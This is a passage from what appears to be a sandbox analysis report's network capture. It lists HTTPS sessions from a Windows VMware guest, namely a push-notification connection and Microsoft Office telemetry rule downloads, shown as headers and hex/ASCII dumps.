EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.6	49821	40.113.103.199	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:26 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 76 4d 64 2f 67 6e 53 67 78 55 32 4d 46 4c 61 67 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 38 36 30 32 32 63 32 62 65 39 66 61 61 64 38 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: vMd/gnSgxU2MFLag.1Context: 686022c2be9faad8
2024-11-19 23:19:26 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-19 23:19:26 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 76 4d 64 2f 67 6e 53 67 78 55 32 4d 46 4c 61 67 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 38 36 30 32 32 63 32 62 65 39 66 61 61 64 38 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 52 57 79 7a 2b 6c 71 76 39 42 75 33 44 30 2f 5a 39 39 31 68 39 79 32 73 62 52 72 6c 36 77 39 72 7a 6f 65 54 58 6d 51 68 61 36 32 51 37 30 62 6f 39 34 2b 51 36 59 6b 76 6a 4c 6a 4a 36 2f 41 7a 2b 2f 47 59 2f 6e 6a 66 44 35 6e 48 65 7a 77 41 62 48 35 53 71 71 46 4f 37 6e 51 50 6f 70 6a 32 51 32 6b 70 73 79 45 64 72 6d 4e 44 5a Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: vMd/gnSgxU2MFLag.2Context: 686022c2be9faad8<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAARWyz+lqv9Bu3D0/Z991h9y2sbRrl6w9rzoeTXmQha62Q70bo94+Q6YkvjLjJ6/Az+/GY/njfD5nHezwAbH5SqqFO7nQPopj2Q2kpsyEdrmNDZ
2024-11-19 23:19:26 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 76 4d 64 2f 67 6e 53 67 78 55 32 4d 46 4c 61 67 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 38 36 30 32 32 63 32 62 65 39 66 61 61 64 38 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: vMd/gnSgxU2MFLag.3Context: 686022c2be9faad8<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-11-19 23:19:26 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-19 23:19:26 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 73 73 6f 54 35 6d 58 6e 63 30 4f 42 4c 6a 52 6a 53 48 6f 45 71 77 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: ssoT5mXnc0OBLjRjSHoEqw.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.6	49822	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:26 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:26 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:26 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 5a5a1185-c01e-0079-408c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231926Z-185f5d8b95c68cvnhC1NYCfn7s00000009fg0000000037k8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:26 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.6	49823	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:26 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:26 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:26 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: b47886c8-201e-00aa-0c8c-3a3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231926Z-1777c6cb754gvvgfhC1TEBz4rg00000008x0000000003a60 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:26 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.6	49824	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:26 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:26 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:26 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: eb1e057a-b01e-0097-688c-3a4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231926Z-185f5d8b95cp7lkfhC1NYC7rpw00000009fg00000000mbka x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:26 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.6	49825	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:26 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:26 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:26 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: e2992625-501e-005b-678c-3ad7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231926Z-185f5d8b95cdtclvhC1NYC4rmc00000009dg00000000ubrg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 23:19:26 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.6	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:26 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:26 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:26 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 073920b7-a01e-0032-4c8c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231926Z-185f5d8b95ckwnflhC1NYCx9qs00000009bg00000000ss92 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:26 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.6	49827	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:27 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:27 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:27 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 6d560277-a01e-0050-158c-3adb6e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231927Z-1777c6cb754whff4hC1TEBcd6c00000007eg000000006ady x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:27 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.6	49828	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:27 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:27 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:27 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 3044792c-001e-005a-088c-3ac3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231927Z-185f5d8b95c4hl5whC1NYCeex000000009cg0000000044sb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:27 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.6	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:27 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:27 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:27 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: c9275fb5-a01e-000d-708c-3ad1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231927Z-1777c6cb754j8gqphC1TEB5bf800000008n000000000hbfm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:27 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.6	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:27 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:27 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:27 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 2155ac17-401e-00a3-238c-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231927Z-185f5d8b95crwqd8hC1NYCps6800000009c000000000f8q0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 23:19:27 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.6	49831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 23:19:27 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 23:19:28 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 23:19:28 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: c3eb962b-701e-003e-438c-3a79b3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T231928Z-1777c6cb754dqf99hC1TEB5nps00000008qg0000000021zc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
